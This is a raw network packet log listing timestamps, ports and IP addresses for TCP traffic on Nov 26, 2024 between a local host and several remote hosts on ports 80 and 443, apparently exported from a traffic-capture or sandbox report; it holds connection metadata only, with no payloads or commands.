Nov 26, 2024 08:03:48.363560915 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.364331961 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.364392996 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.364408016 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.364471912 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.528482914 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.528592110 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.528592110 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.528645992 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.528917074 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.528985023 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.529036045 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.529083967 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.529902935 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.530008078 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.530044079 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.530060053 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.530816078 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.530864954 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.530904055 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.531008959 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.531635046 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.531681061 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.531734943 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.531799078 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.532521963 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.532582045 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.532629013 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.532700062 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.533417940 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.533469915 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.533546925 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.533750057 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.534331083 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.534373045 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.534421921 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.534533024 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.535245895 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.535356045 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.535358906 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.535480976 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.536154985 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.536257029 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.536263943 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.536370993 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.537085056 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.537143946 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.537174940 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.537255049 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.537945032 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.538037062 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.538052082 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.538146019 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.538887024 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.539006948 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.539067030 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.539822102 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.539941072 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.539987087 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.540687084 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.540777922 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.540978909 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.541125059 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.541585922 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.541641951 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.541752100 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.541829109 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.542581081 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.542644024 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.542706966 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.542763948 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.543376923 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.543384075 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.543438911 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.547369957 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.547379971 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.547385931 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.547391891 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.547398090 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.547409058 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.547415018 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.547424078 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.547425985 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.547467947 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.547481060 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.547837019 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.547885895 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.547940969 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.548006058 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.548857927 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.548866034 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.548916101 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.549654007 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.549705029 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.549743891 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.549814939 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.550530910 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.550590992 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.550652027 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.550726891 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.551469088 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.551546097 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.551563978 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.551739931 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.552350044 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.552445889 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.552462101 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.552505016 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.553287029 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.553359032 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.553380966 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.553536892 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.554167986 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.554297924 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.554356098 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.555068970 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.555103064 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.555166960 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.556037903 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.556184053 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.556212902 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.556229115 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.557024956 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.557079077 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.557113886 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.557168007 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.557785988 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.557845116 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.557878017 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.557931900 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.558684111 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.558739901 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.558805943 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.558885098 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.559737921 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.559748888 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.559797049 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.560477972 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.560544968 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.560640097 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.560683012 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.561369896 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.561422110 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.561472893 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.561566114 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.562298059 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.562346935 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.562397957 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.562530041 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.563169003 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.563219070 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.563280106 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.563385010 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.564090967 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.564136028 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.564186096 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.564237118 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.564985991 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.565069914 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.565098047 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.565148115 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.565882921 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.565928936 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.565984011 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.566034079 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.566826105 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.566936016 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.566960096 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.567014933 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.567701101 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.567774057 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.567805052 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.567845106 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.568593979 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.568690062 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.568706989 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.568763971 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.569494009 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.569612026 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.569664001 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.570390940 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.570518017 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.571024895 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.571285963 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.571346998 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.571552038 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.571603060 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.572201967 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.572279930 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.572310925 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.572500944 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.573111057 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.573168039 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.573224068 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.573288918 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.574054003 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.574136972 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.574197054 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.574239969 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.574971914 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.575082064 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.575104952 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.575123072 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.575759888 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.575807095 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.586905956 CET	443	49803	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:48.586905956 CET	443	49804	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:48.586929083 CET	443	49804	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:48.586931944 CET	443	49803	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:48.587013960 CET	49804	443	192.168.2.8	13.107.246.40
Nov 26, 2024 08:03:48.587024927 CET	443	49804	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:48.587093115 CET	49803	443	192.168.2.8	13.107.246.40
Nov 26, 2024 08:03:48.587158918 CET	443	49803	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:48.587328911 CET	443	49804	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:48.588470936 CET	49804	443	192.168.2.8	13.107.246.40
Nov 26, 2024 08:03:48.588543892 CET	49804	443	192.168.2.8	13.107.246.40
Nov 26, 2024 08:03:48.588562012 CET	443	49804	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:48.588567019 CET	49804	443	192.168.2.8	13.107.246.40
Nov 26, 2024 08:03:48.588617086 CET	49804	443	192.168.2.8	13.107.246.40
Nov 26, 2024 08:03:48.588906050 CET	49814	443	192.168.2.8	13.107.246.40
Nov 26, 2024 08:03:48.588948965 CET	443	49814	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:48.589118004 CET	49814	443	192.168.2.8	13.107.246.40
Nov 26, 2024 08:03:48.589238882 CET	49803	443	192.168.2.8	13.107.246.40
Nov 26, 2024 08:03:48.589302063 CET	443	49803	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:48.589479923 CET	443	49803	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:48.589538097 CET	49803	443	192.168.2.8	13.107.246.40
Nov 26, 2024 08:03:48.589591026 CET	49803	443	192.168.2.8	13.107.246.40
Nov 26, 2024 08:03:48.590123892 CET	49814	443	192.168.2.8	13.107.246.40
Nov 26, 2024 08:03:48.590141058 CET	443	49814	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:48.653914928 CET	443	49801	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:48.657084942 CET	443	49801	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:48.657156944 CET	49801	443	192.168.2.8	13.107.246.40
Nov 26, 2024 08:03:48.657210112 CET	443	49801	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:48.657250881 CET	443	49801	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:48.657318115 CET	49801	443	192.168.2.8	13.107.246.40
Nov 26, 2024 08:03:48.657556057 CET	49801	443	192.168.2.8	13.107.246.40
Nov 26, 2024 08:03:48.657593966 CET	443	49801	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:48.657608032 CET	49801	443	192.168.2.8	13.107.246.40
Nov 26, 2024 08:03:48.657649040 CET	49801	443	192.168.2.8	13.107.246.40
Nov 26, 2024 08:03:48.657747030 CET	443	49802	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:48.657802105 CET	443	49802	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:48.657870054 CET	49802	443	192.168.2.8	13.107.246.40
Nov 26, 2024 08:03:48.657949924 CET	443	49802	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:48.658519030 CET	443	49802	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:48.658580065 CET	49802	443	192.168.2.8	13.107.246.40
Nov 26, 2024 08:03:48.661047935 CET	49802	443	192.168.2.8	13.107.246.40
Nov 26, 2024 08:03:48.661104918 CET	443	49802	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:48.661134958 CET	49802	443	192.168.2.8	13.107.246.40
Nov 26, 2024 08:03:48.661360025 CET	49802	443	192.168.2.8	13.107.246.40
Nov 26, 2024 08:03:48.663271904 CET	443	49800	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:48.663299084 CET	443	49800	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:48.663378954 CET	49800	443	192.168.2.8	13.107.246.40
Nov 26, 2024 08:03:48.663419008 CET	443	49800	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:48.664378881 CET	443	49800	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:48.664453983 CET	49800	443	192.168.2.8	13.107.246.40
Nov 26, 2024 08:03:48.664693117 CET	49800	443	192.168.2.8	13.107.246.40
Nov 26, 2024 08:03:48.664693117 CET	49800	443	192.168.2.8	13.107.246.40
Nov 26, 2024 08:03:48.664722919 CET	443	49800	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:48.664782047 CET	49800	443	192.168.2.8	13.107.246.40
Nov 26, 2024 08:03:48.687406063 CET	49815	443	192.168.2.8	20.110.205.119
Nov 26, 2024 08:03:48.687457085 CET	443	49815	20.110.205.119	192.168.2.8
Nov 26, 2024 08:03:48.687675953 CET	49815	443	192.168.2.8	20.110.205.119
Nov 26, 2024 08:03:48.687899113 CET	49815	443	192.168.2.8	20.110.205.119
Nov 26, 2024 08:03:48.687911034 CET	443	49815	20.110.205.119	192.168.2.8
Nov 26, 2024 08:03:48.738979101 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.739062071 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.739079952 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.739110947 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.739300966 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.739511013 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.739525080 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.739587069 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.739631891 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.740472078 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.740520954 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.740535021 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.740699053 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.741308928 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.741386890 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.741415977 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.741472960 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.742208958 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.742311954 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.742336988 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.742424011 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.743113995 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.743216038 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.743223906 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.743416071 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.744043112 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.744107008 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.744199038 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.744257927 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.744982004 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.745044947 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.745141983 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.745830059 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.745935917 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.746030092 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.746727943 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.746805906 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.746840954 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.746917009 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.747625113 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.747684002 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.747726917 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.747769117 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.748531103 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.748591900 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.748631954 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.748672962 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.749420881 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.749494076 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.749543905 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.749757051 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.750319958 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.750437975 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.750494003 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.751225948 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.751296043 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.751354933 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.751441956 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.752139091 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.752248049 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.752301931 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.753046989 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.753200054 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.753221035 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.753954887 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.754066944 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.754093885 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.754132032 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.754851103 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.754993916 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.755063057 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.755738974 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.755820990 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.755916119 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.756031036 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.756650925 CET	80	49747	185.215.113.206	192.168.2.8
